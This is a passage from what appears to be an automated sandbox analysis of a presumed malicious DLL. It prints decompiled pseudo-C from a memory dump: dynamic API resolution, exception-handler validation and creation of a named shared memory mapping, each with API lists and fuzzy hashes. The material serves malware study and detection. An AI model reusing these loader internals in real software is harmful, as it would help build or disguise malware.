                  									goto L6;
                  								}
                  							}
                  							L23:
                  							_v12 = _v12 + 0x14;
                  							_t46 =  *((intOrPtr*)(_v12 + 0xc));
                  							if(_t46 != 0) {
                  								continue;
                  							} else {
                  							}
                  							L26:
                  							goto L27;
                  						}
                  						_t60 = _t59 + 0x9c9664bb;
                  						__eflags = _t60;
                  						_v20 = _t60;
                  						goto L26;
                  					}
                  				}
                  				L27:
                  				return _v20;
                  			}




























                  0x10001745
                  0x1000174e
                  0x10001753
                  0x10001759
                  0x10001762
                  0x10001768
                  0x1000176a
                  0x1000176d
                  0x10001772
                  0x10001779
                  0x10001779
                  0x1000177d
                  0x10001785
                  0x10001788
                  0x00000000
                  0x00000000
                  0x1000178e
                  0x10001798
                  0x1000179a
                  0x1000179d
                  0x100017a0
                  0x100017a4
                  0x100017ac
                  0x100017ae
                  0x100017b1
                  0x10001819
                  0x10001819
                  0x1000181d
                  0x00000000
                  0x00000000
                  0x100017b6
                  0x100017bc
                  0x100017be
                  0x100017d1
                  0x100017d4
                  0x100017d4
                  0x100017d4
                  0x100017d8
                  0x100017c0
                  0x100017c0
                  0x100017c8
                  0x100017ca
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x100017ca
                  0x100017b8
                  0x100017b8
                  0x100017cc
                  0x100017cc
                  0x100017cc
                  0x100017db
                  0x100017de
                  0x100017e0
                  0x100017e7
                  0x100017e2
                  0x100017e2
                  0x100017e2
                  0x100017ef
                  0x100017f5
                  0x100017f7
                  0x10001827
                  0x100017f9
                  0x100017f9
                  0x100017fc
                  0x100017fe
                  0x10001806
                  0x10001806
                  0x1000180b
                  0x1000180d
                  0x10001814
                  0x10001816
                  0x10001816
                  0x10001816
                  0x00000000
                  0x10001816
                  0x00000000
                  0x100017f7
                  0x100017a6
                  0x100017a8
                  0x100017aa
                  0x00000000
                  0x00000000
                  0x100017aa
                  0x1000182a
                  0x1000182a
                  0x10001831
                  0x10001836
                  0x00000000
                  0x00000000
                  0x1000183c
                  0x10001847
                  0x00000000
                  0x10001847
                  0x1000183e
                  0x1000183e
                  0x10001844
                  0x00000000
                  0x10001844
                  0x10001772
                  0x10001848
                  0x1000184d

                  APIs
                  • LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 1000177D
                  • GetProcAddress.KERNEL32(?,00000000), ref: 100017EF
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: AddressLibraryLoadProc
                  • String ID:
                  • API String ID: 2574300362-0
                  • Opcode ID: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
                  • Instruction ID: c607def5a2bc0e5299d97bb95015c1db0b928527211c0f3006954d548cbcd348
                  • Opcode Fuzzy Hash: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
                  • Instruction Fuzzy Hash: 78313675A0420A9FEB55CF99C880AEEB7F8FF04384F258069D805E7248EB70DA41CB90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 100%
                  			E10002375(long _a4) {
                  				intOrPtr _v8;
                  				intOrPtr _v12;
                  				signed int _v16;
                  				short* _v32;
                  				void _v36;
                  				void* _t57;
                  				signed int _t58;
                  				signed int _t61;
                  				signed int _t62;
                  				void* _t63;
                  				signed int* _t68;
                  				intOrPtr* _t69;
                  				intOrPtr* _t71;
                  				intOrPtr _t72;
                  				intOrPtr _t75;
                  				void* _t76;
                  				signed int _t77;
                  				void* _t78;
                  				void _t80;
                  				signed int _t81;
                  				signed int _t84;
                  				signed int _t86;
                  				short* _t87;
                  				void* _t89;
                  				signed int* _t90;
                  				long _t91;
                  				signed int _t93;
                  				signed int _t94;
                  				signed int _t100;
                  				signed int _t102;
                  				void* _t104;
                  				long _t108;
                  				signed int _t110;
                  
                  				_t108 = _a4;
                  				_t76 =  *(_t108 + 8);
                  				if((_t76 & 0x00000003) != 0) {
                  					L3:
                  					return 0;
                  				}
                  				_a4 =  *[fs:0x4];
                  				_v8 =  *[fs:0x8];
                  				if(_t76 < _v8 || _t76 >= _a4) {
                  					_t102 =  *(_t108 + 0xc);
                  					__eflags = _t102 - 0xffffffff;
                  					if(_t102 != 0xffffffff) {
                  						_t91 = 0;
                  						__eflags = 0;
                  						_a4 = 0;
                  						_t57 = _t76;
                  						do {
                  							_t80 =  *_t57;
                  							__eflags = _t80 - 0xffffffff;
                  							if(_t80 == 0xffffffff) {
                  								goto L9;
                  							}
                  							__eflags = _t80 - _t91;
                  							if(_t80 >= _t91) {
                  								L20:
                  								_t63 = 0;
                  								L60:
                  								return _t63;
                  							}
                  							L9:
                  							__eflags =  *(_t57 + 4);
                  							if( *(_t57 + 4) != 0) {
                  								_t12 =  &_a4;
                  								 *_t12 = _a4 + 1;
                  								__eflags =  *_t12;
                  							}
                  							_t91 = _t91 + 1;
                  							_t57 = _t57 + 0xc;
                  							__eflags = _t91 - _t102;
                  						} while (_t91 <= _t102);
                  						__eflags = _a4;
                  						if(_a4 == 0) {
                  							L15:
                  							_t81 =  *0x10004178;
                  							_t110 = _t76 & 0xfffff000;
                  							_t58 = 0;
                  							__eflags = _t81;
                  							if(_t81 <= 0) {
                  								L18:
                  								_t104 = _t102 | 0xffffffff;
                  								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
                  								__eflags = _t61;
                  								if(_t61 < 0) {
                  									_t62 = 0;
                  									__eflags = 0;
                  								} else {
                  									_t62 = _a4;
                  								}
                  								__eflags = _t62;
                  								if(_t62 == 0) {
                  									L59:
                  									_t63 = _t104;
                  									goto L60;
                  								} else {
                  									__eflags = _v12 - 0x1000000;
                  									if(_v12 != 0x1000000) {
                  										goto L59;
                  									}
                  									__eflags = _v16 & 0x000000cc;
                  									if((_v16 & 0x000000cc) == 0) {
                  										L46:
                  										_t63 = 1;
                  										 *0x100041c0 = 1;
                  										__eflags =  *0x100041c0;
                  										if( *0x100041c0 != 0) {
                  											goto L60;
                  										}
                  										_t84 =  *0x10004178;
                  										__eflags = _t84;
                  										_t93 = _t84;
                  										if(_t84 <= 0) {
                  											L51:
                  											__eflags = _t93;
                  											if(_t93 != 0) {
                  												L58:
                  												 *0x100041c0 = 0;
                  												goto L5;
                  											}
                  											_t77 = 0xf;
                  											__eflags = _t84 - _t77;
                  											if(_t84 <= _t77) {
                  												_t77 = _t84;
                  											}
                  											_t94 = 0;
                  											__eflags = _t77;
                  											if(_t77 < 0) {
                  												L56:
                  												__eflags = _t84 - 0x10;
                  												if(_t84 < 0x10) {
                  													_t86 = _t84 + 1;
                  													__eflags = _t86;
                  													 *0x10004178 = _t86;
                  												}
                  												goto L58;
                  											} else {
                  												do {
                  													_t68 = 0x10004180 + _t94 * 4;
                  													_t94 = _t94 + 1;
                  													__eflags = _t94 - _t77;
                  													 *_t68 = _t110;
                  													_t110 =  *_t68;
                  												} while (_t94 <= _t77);
                  												goto L56;
                  											}
                  										}
                  										_t69 = 0x1000417c + _t84 * 4;
                  										while(1) {
                  											__eflags =  *_t69 - _t110;
                  											if( *_t69 == _t110) {
                  												goto L51;
                  											}
                  											_t93 = _t93 - 1;
                  											_t69 = _t69 - 4;
                  											__eflags = _t93;
                  											if(_t93 > 0) {
                  												continue;
                  											}
                  											goto L51;
                  										}
                  										goto L51;
                  									}
                  									_t87 = _v32;
                  									__eflags =  *_t87 - 0x5a4d;
                  									if( *_t87 != 0x5a4d) {
                  										goto L59;
                  									}
                  									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
                  									__eflags =  *_t71 - 0x4550;
                  									if( *_t71 != 0x4550) {
                  										goto L59;
                  									}
                  									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
                  									if( *((short*)(_t71 + 0x18)) != 0x10b) {
                  										goto L59;
                  									}
                  									_t78 = _t76 - _t87;
                  									__eflags =  *((short*)(_t71 + 6));
                  									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
                  									if( *((short*)(_t71 + 6)) <= 0) {
                  										goto L59;
                  									}
                  									_t72 =  *((intOrPtr*)(_t89 + 0xc));
                  									__eflags = _t78 - _t72;
                  									if(_t78 < _t72) {
                  										goto L46;
                  									}
                  									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
                  									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
                  										goto L46;
                  									}
                  									__eflags =  *(_t89 + 0x27) & 0x00000080;
                  									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
                  										goto L20;
                  									}
                  									goto L46;
                  								}
                  							} else {
                  								goto L16;
                  							}
                  							while(1) {
                  								L16:
                  								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
                  								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
                  									break;
                  								}
                  								_t58 = _t58 + 1;
                  								__eflags = _t58 - _t81;
                  								if(_t58 < _t81) {
                  									continue;
                  								}
                  								goto L18;
                  							}
                  							__eflags = _t58;
                  							if(_t58 <= 0) {
                  								goto L5;
                  							}
                  							 *0x100041c0 = 1;
                  							__eflags =  *0x100041c0;
                  							if( *0x100041c0 != 0) {
                  								goto L5;
                  							}
                  							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
                  							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
                  								L32:
                  								_t100 = 0;
                  								__eflags = _t58;
                  								if(_t58 < 0) {
                  									L34:
                  									 *0x100041c0 = 0;
                  									goto L5;
                  								} else {
                  									goto L33;
                  								}
                  								do {
                  									L33:
                  									_t90 = 0x10004180 + _t100 * 4;
                  									_t100 = _t100 + 1;
                  									__eflags = _t100 - _t58;
                  									 *_t90 = _t110;
                  									_t110 =  *_t90;
                  								} while (_t100 <= _t58);
                  								goto L34;
                  							}
                  							_t58 = _t81 - 1;
                  							__eflags = _t58;
                  							if(_t58 < 0) {
                  								L28:
                  								__eflags = _t81 - 0x10;
                  								if(_t81 < 0x10) {
                  									_t81 = _t81 + 1;
                  									__eflags = _t81;
                  									 *0x10004178 = _t81;
                  								}
                  								_t58 = _t81 - 1;
                  								goto L32;
                  							} else {
                  								goto L25;
                  							}
                  							while(1) {
                  								L25:
                  								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
                  								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
                  									break;
                  								}
                  								_t58 = _t58 - 1;
                  								__eflags = _t58;
                  								if(_t58 >= 0) {
                  									continue;
                  								}
                  								break;
                  							}
                  							__eflags = _t58;
                  							if(__eflags >= 0) {
                  								if(__eflags == 0) {
                  									goto L34;
                  								}
                  								goto L32;
                  							}
                  							goto L28;
                  						}
                  						_t75 =  *((intOrPtr*)(_t108 - 8));
                  						__eflags = _t75 - _v8;
                  						if(_t75 < _v8) {
                  							goto L20;
                  						}
                  						__eflags = _t75 - _t108;
                  						if(_t75 >= _t108) {
                  							goto L20;
                  						}
                  						goto L15;
                  					}
                  					L5:
                  					_t63 = 1;
                  					goto L60;
                  				} else {
                  					goto L3;
                  				}
                  			}




































                  0x1000237f
                  0x10002382
                  0x10002388
                  0x100023a6
                  0x00000000
                  0x100023a6
                  0x10002390
                  0x10002399
                  0x1000239f
                  0x100023ae
                  0x100023b1
                  0x100023b4
                  0x100023be
                  0x100023be
                  0x100023c0
                  0x100023c3
                  0x100023c5
                  0x100023c5
                  0x100023c7
                  0x100023ca
                  0x00000000
                  0x00000000
                  0x100023cc
                  0x100023ce
                  0x10002434
                  0x10002434
                  0x10002592
                  0x00000000
                  0x10002592
                  0x100023d0
                  0x100023d0
                  0x100023d4
                  0x100023d6
                  0x100023d6
                  0x100023d6
                  0x100023d6
                  0x100023d9
                  0x100023da
                  0x100023dd
                  0x100023dd
                  0x100023e1
                  0x100023e5
                  0x100023f3
                  0x100023f3
                  0x100023fb
                  0x10002401
                  0x10002403
                  0x10002405
                  0x10002415
                  0x10002422
                  0x10002426
                  0x1000242b
                  0x1000242d
                  0x100024ab
                  0x100024ab
                  0x1000242f
                  0x1000242f
                  0x1000242f
                  0x100024ad
                  0x100024af
                  0x10002590
                  0x10002590
                  0x00000000
                  0x100024b5
                  0x100024b5
                  0x100024bc
                  0x00000000
                  0x00000000
                  0x100024c2
                  0x100024c6
                  0x10002522
                  0x10002524
                  0x1000252c
                  0x1000252e
                  0x10002530
                  0x00000000
                  0x00000000
                  0x10002532
                  0x10002538
                  0x1000253a
                  0x1000253c
                  0x10002551
                  0x10002551
                  0x10002553
                  0x10002582
                  0x10002589
                  0x00000000
                  0x10002589
                  0x10002557
                  0x10002558
                  0x1000255a
                  0x1000255c
                  0x1000255c
                  0x1000255e
                  0x10002560
                  0x10002562
                  0x10002576
                  0x10002576
                  0x10002579
                  0x1000257b
                  0x1000257b
                  0x1000257c
                  0x1000257c
                  0x00000000
                  0x10002564
                  0x10002564
                  0x10002564
                  0x1000256d
                  0x1000256e
                  0x10002570
                  0x10002572
                  0x10002572
                  0x00000000
                  0x10002564
                  0x10002562
                  0x1000253e
                  0x10002545
                  0x10002545
                  0x10002547
                  0x00000000
                  0x00000000
                  0x10002549
                  0x1000254a
                  0x1000254d
                  0x1000254f
                  0x00000000
                  0x00000000
                  0x00000000
                  0x1000254f
                  0x00000000
                  0x10002545
                  0x100024c8
                  0x100024cb
                  0x100024d0
                  0x00000000
                  0x00000000
                  0x100024d9
                  0x100024db
                  0x100024e1
                  0x00000000
                  0x00000000
                  0x100024e7
                  0x100024ed
                  0x00000000
                  0x00000000
                  0x100024f3
                  0x100024f5
                  0x100024fe
                  0x10002502
                  0x00000000
                  0x00000000
                  0x10002508
                  0x1000250b
                  0x1000250d
                  0x00000000
                  0x00000000
                  0x10002514
                  0x10002516
                  0x00000000
                  0x00000000
                  0x10002518
                  0x1000251c
                  0x00000000
                  0x00000000
                  0x00000000
                  0x1000251c
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10002407
                  0x10002407
                  0x10002407
                  0x1000240e
                  0x00000000
                  0x00000000
                  0x10002410
                  0x10002411
                  0x10002413
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10002413
                  0x1000243b
                  0x1000243d
                  0x00000000
                  0x00000000
                  0x1000244d
                  0x1000244f
                  0x10002451
                  0x00000000
                  0x00000000
                  0x10002457
                  0x1000245e
                  0x1000248a
                  0x1000248a
                  0x1000248c
                  0x1000248e
                  0x100024a2
                  0x100024a4
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10002490
                  0x10002490
                  0x10002490
                  0x10002499
                  0x1000249a
                  0x1000249c
                  0x1000249e
                  0x1000249e
                  0x00000000
                  0x10002490
                  0x10002460
                  0x10002463
                  0x10002465
                  0x10002477
                  0x10002477
                  0x1000247a
                  0x1000247c
                  0x1000247c
                  0x1000247d
                  0x1000247d
                  0x10002483
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10002467
                  0x10002467
                  0x10002467
                  0x1000246e
                  0x00000000
                  0x00000000
                  0x10002470
                  0x10002470
                  0x10002471
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10002471
                  0x10002473
                  0x10002475
                  0x10002488
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10002488
                  0x00000000
                  0x10002475
                  0x100023e7
                  0x100023ea
                  0x100023ed
                  0x00000000
                  0x00000000
                  0x100023ef
                  0x100023f1
                  0x00000000
                  0x00000000
                  0x00000000
                  0x100023f1
                  0x100023b6
                  0x100023b8
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                  • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002426
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: MemoryQueryVirtual
                  • String ID:
                  • API String ID: 2850889275-0
                  • Opcode ID: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
                  • Instruction ID: 0c254990f4eddd9df484f3b683da5194678d0c4feb8b8adbfe3d5bca3f7d4cb2
                  • Opcode Fuzzy Hash: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
                  • Instruction Fuzzy Hash: 3861E170A00A52DFFB19CF28CCE065937E5EB893D5F628439D856C729DEB30DD828A54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 71%
                  			E10002154(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
                  				intOrPtr _v8;
                  				char _v12;
                  				void* __ebp;
                  				signed int* _t43;
                  				char _t44;
                  				void* _t46;
                  				void* _t49;
                  				intOrPtr* _t53;
                  				void* _t54;
                  				void* _t65;
                  				long _t66;
                  				signed int* _t80;
                  				signed int* _t82;
                  				void* _t84;
                  				signed int _t86;
                  				void* _t89;
                  				void* _t95;
                  				void* _t96;
                  				void* _t99;
                  				void* _t106;
                  
                  				_t43 = _t84;
                  				_t65 = __ebx + 2;
                  				 *_t43 =  *_t43 ^ __edx ^  *__eax;
                  				_t89 = _t95;
                  				_t96 = _t95 - 8;
                  				_push(_t65);
                  				_push(_t84);
                  				_push(_t89);
                  				asm("cld");
                  				_t66 = _a8;
                  				_t44 = _a4;
                  				if(( *(_t44 + 4) & 0x00000006) != 0) {
                  					_push(_t89);
                  					E100022BB(_t66 + 0x10, _t66, 0xffffffff);
                  					_t46 = 1;
                  				} else {
                  					_v12 = _t44;
                  					_v8 = _a12;
                  					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
                  					_t86 =  *(_t66 + 0xc);
                  					_t80 =  *(_t66 + 8);
                  					_t49 = E10002375(_t66);
                  					_t99 = _t96 + 4;
                  					if(_t49 == 0) {
                  						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
                  						goto L11;
                  					} else {
                  						while(_t86 != 0xffffffff) {
                  							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
                  							if(_t53 == 0) {
                  								L8:
                  								_t80 =  *(_t66 + 8);
                  								_t86 = _t80[_t86 + _t86 * 2];
                  								continue;
                  							} else {
                  								_t54 =  *_t53();
                  								_t89 = _t89;
                  								_t86 = _t86;
                  								_t66 = _a8;
                  								_t55 = _t54;
                  								_t106 = _t54;
                  								if(_t106 == 0) {
                  									goto L8;
                  								} else {
                  									if(_t106 < 0) {
                  										_t46 = 0;
                  									} else {
                  										_t82 =  *(_t66 + 8);
                  										E10002260(_t55, _t66);
                  										_t89 = _t66 + 0x10;
                  										E100022BB(_t89, _t66, 0);
                  										_t99 = _t99 + 0xc;
                  										E10002357(_t82[2]);
                  										 *(_t66 + 0xc) =  *_t82;
                  										_t66 = 0;
                  										_t86 = 0;
                  										 *(_t82[2])(1);
                  										goto L8;
                  									}
                  								}
                  							}
                  							goto L13;
                  						}
                  						L11:
                  						_t46 = 1;
                  					}
                  				}
                  				L13:
                  				return _t46;
                  			}























                  0x10002158
                  0x10002159
                  0x1000215a
                  0x1000215d
                  0x1000215f
                  0x10002162
                  0x10002163
                  0x10002165
                  0x10002166
                  0x10002167
                  0x1000216a
                  0x10002174
                  0x10002225
                  0x1000222c
                  0x10002235
                  0x1000217a
                  0x1000217a
                  0x10002180
                  0x10002186
                  0x10002189
                  0x1000218c
                  0x10002190
                  0x10002195
                  0x1000219a
                  0x1000221a
                  0x00000000
                  0x1000219c
                  0x1000219c
                  0x100021a8
                  0x100021aa
                  0x10002205
                  0x10002205
                  0x1000220b
                  0x00000000
                  0x100021ac
                  0x100021bb
                  0x100021bd
                  0x100021be
                  0x100021bf
                  0x100021c2
                  0x100021c2
                  0x100021c4
                  0x00000000
                  0x100021c6
                  0x100021c6
                  0x10002210
                  0x100021c8
                  0x100021c8
                  0x100021cc
                  0x100021d4
                  0x100021d9
                  0x100021de
                  0x100021ea
                  0x100021f2
                  0x100021f9
                  0x100021ff
                  0x10002203
                  0x00000000
                  0x10002203
                  0x100021c6
                  0x100021c4
                  0x00000000
                  0x100021aa
                  0x1000221e
                  0x1000221e
                  0x1000221e
                  0x1000219a
                  0x1000223a
                  0x10002241

                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
                  • Instruction ID: 9c57574405240a8165450f76d07df83800bb314007ae7cce2d6078ed4837daf0
                  • Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
                  • Instruction Fuzzy Hash: 6521CB76900204AFD710DFA8CCC09A7F7A5FF49390B468158DD599B249D730FA25CBE0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 68%
                  			E1000102F(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
                  				intOrPtr _v12;
                  				struct _FILETIME* _v16;
                  				short _v60;
                  				struct _FILETIME* _t14;
                  				intOrPtr _t15;
                  				long _t18;
                  				void* _t22;
                  				intOrPtr _t31;
                  				long _t32;
                  				void* _t34;
                  
                  				_t31 = __edx;
                  				_t14 =  &_v16;
                  				GetSystemTimeAsFileTime(_t14);
                  				_push(0x192);
                  				_push(0x54d38000);
                  				_push(_v12);
                  				_push(_v16);
                  				L10002100();
                  				_push(_t14);
                  				_v16 = _t14;
                  				_t15 =  *0x10004150;
                  				_push(_t15 + 0x1000505e);
                  				_push(_t15 + 0x10005054);
                  				_push(0x16);
                  				_push( &_v60);
                  				_v12 = _t31;
                  				L100020FA();
                  				_t18 = _a4;
                  				if(_t18 == 0) {
                  					_t18 = 0x1000;
                  				}
                  				_t34 = CreateFileMappingW(0xffffffff, 0x10004140, 4, 0, _t18,  &_v60);
                  				if(_t34 == 0) {
                  					_t32 = GetLastError();
                  				} else {
                  					if(_a4 != 0 || GetLastError() == 0xb7) {
                  						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0);
                  						if(_t22 == 0) {
                  							_t32 = GetLastError();
                  							if(_t32 != 0) {
                  								goto L9;
                  							}
                  						} else {
                  							 *_a8 = _t34;
                  							 *_a12 = _t22;
                  							_t32 = 0;
                  						}
                  					} else {
                  						_t32 = 2;
                  						L9:
                  						CloseHandle(_t34);
                  					}
                  				}
                  				return _t32;
                  			}













                  0x1000102f
                  0x10001038
                  0x1000103c
                  0x10001042
                  0x10001047
                  0x1000104c
                  0x1000104f
                  0x10001052
                  0x10001057
                  0x10001058
                  0x1000105b
                  0x10001066
                  0x1000106d
                  0x10001071
                  0x10001073
                  0x10001074
                  0x10001077
                  0x1000107c
                  0x10001086
                  0x10001088
                  0x10001088
                  0x100010a2
                  0x100010a6
                  0x100010f6
                  0x100010a8
                  0x100010b1
                  0x100010c7
                  0x100010cf
                  0x100010e1
                  0x100010e5
                  0x00000000
                  0x00000000
                  0x100010d1
                  0x100010d4
                  0x100010d9
                  0x100010db
                  0x100010db
                  0x100010bc
                  0x100010be
                  0x100010e7
                  0x100010e8
                  0x100010e8
                  0x100010b1
                  0x100010fe

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?), ref: 1000103C
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001052
                  • _snwprintf.NTDLL ref: 10001077
                  • CreateFileMappingW.KERNEL32(000000FF,10004140,00000004,00000000,?,?), ref: 1000109C
                  • GetLastError.KERNEL32 ref: 100010B3
                  • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 100010C7
                  • GetLastError.KERNEL32 ref: 100010DF
                  • CloseHandle.KERNEL32(00000000), ref: 100010E8
                  • GetLastError.KERNEL32 ref: 100010F0
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1724014008-0
                  • Opcode ID: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
                  • Instruction ID: fd2cfec1e864bf63db9aaa2ee4e5368c07c46789b5c4626883214d07a46f71c5
                  • Opcode Fuzzy Hash: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
                  • Instruction Fuzzy Hash: 6821CFB2500258BFE721EFA8CCC4EDE77ADEB483D0F118136F615D7159DAB099858BA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 100%
                  			E10001A0F(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
                  				intOrPtr _v8;
                  				_Unknown_base(*)()* _t29;
                  				_Unknown_base(*)()* _t33;
                  				_Unknown_base(*)()* _t36;
                  				_Unknown_base(*)()* _t39;
                  				_Unknown_base(*)()* _t42;
                  				intOrPtr _t46;
                  				struct HINSTANCE__* _t50;
                  				intOrPtr _t56;
                  
                  				_t56 = E10001DE1(0x20);
                  				if(_t56 == 0) {
                  					_v8 = 8;
                  				} else {
                  					_t50 = GetModuleHandleA( *0x10004150 + 0x10005014);
                  					_v8 = 0x7f;
                  					_t29 = GetProcAddress(_t50,  *0x10004150 + 0x10005151);
                  					 *(_t56 + 0xc) = _t29;
                  					if(_t29 == 0) {
                  						L8:
                  						E10001DFC(_t56);
                  					} else {
                  						_t33 = GetProcAddress(_t50,  *0x10004150 + 0x10005161);
                  						 *(_t56 + 0x10) = _t33;
                  						if(_t33 == 0) {
                  							goto L8;
                  						} else {
                  							_t36 = GetProcAddress(_t50,  *0x10004150 + 0x10005174);
                  							 *(_t56 + 0x14) = _t36;
                  							if(_t36 == 0) {
                  								goto L8;
                  							} else {
                  								_t39 = GetProcAddress(_t50,  *0x10004150 + 0x10005189);
                  								 *(_t56 + 0x18) = _t39;
                  								if(_t39 == 0) {
                  									goto L8;
                  								} else {
                  									_t42 = GetProcAddress(_t50,  *0x10004150 + 0x1000519f);
                  									 *(_t56 + 0x1c) = _t42;
                  									if(_t42 == 0) {
                  										goto L8;
                  									} else {
                  										 *((intOrPtr*)(_t56 + 8)) = _a8;
                  										 *((intOrPtr*)(_t56 + 4)) = _a4;
                  										_t46 = E10001EB5(_t56, _a12);
                  										_v8 = _t46;
                  										if(_t46 != 0) {
                  											goto L8;
                  										} else {
                  											 *_a16 = _t56;
                  										}
                  									}
                  								}
                  							}
                  						}
                  					}
                  				}
                  				return _v8;
                  			}












                  0x10001a1d
                  0x10001a21
                  0x10001ae2
                  0x10001a27
                  0x10001a3f
                  0x10001a4e
                  0x10001a55
                  0x10001a59
                  0x10001a5c
                  0x10001ada
                  0x10001adb
                  0x10001a5e
                  0x10001a6b
                  0x10001a6f
                  0x10001a72
                  0x00000000
                  0x10001a74
                  0x10001a81
                  0x10001a85
                  0x10001a88
                  0x00000000
                  0x10001a8a
                  0x10001a97
                  0x10001a9b
                  0x10001a9e
                  0x00000000
                  0x10001aa0
                  0x10001aad
                  0x10001ab1
                  0x10001ab4
                  0x00000000
                  0x10001ab6
                  0x10001abc
                  0x10001ac2
                  0x10001ac7
                  0x10001ace
                  0x10001ad1
                  0x00000000
                  0x10001ad3
                  0x10001ad6
                  0x10001ad6
                  0x10001ad1
                  0x10001ab4
                  0x10001a9e
                  0x10001a88
                  0x10001a72
                  0x10001a5c
                  0x10001af0

                  APIs
                    • Part of subcall function 10001DE1: HeapAlloc.KERNEL32(00000000,?,10001556,00000208,00000000,00000000,?,?,?,100016A9,?), ref: 10001DED
                  • GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
                  • GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
                  • GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
                  • GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
                  • GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
                  • GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD
                    • Part of subcall function 10001EB5: memset.NTDLL ref: 10001F34
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: AddressProc$AllocHandleHeapModulememset
                  • String ID:
                  • API String ID: 426539879-0
                  • Opcode ID: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
                  • Instruction ID: 8e690bc40ad544dced62eb57c6a0da5a983291de411777cdb34876cf766fb635
                  • Opcode Fuzzy Hash: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
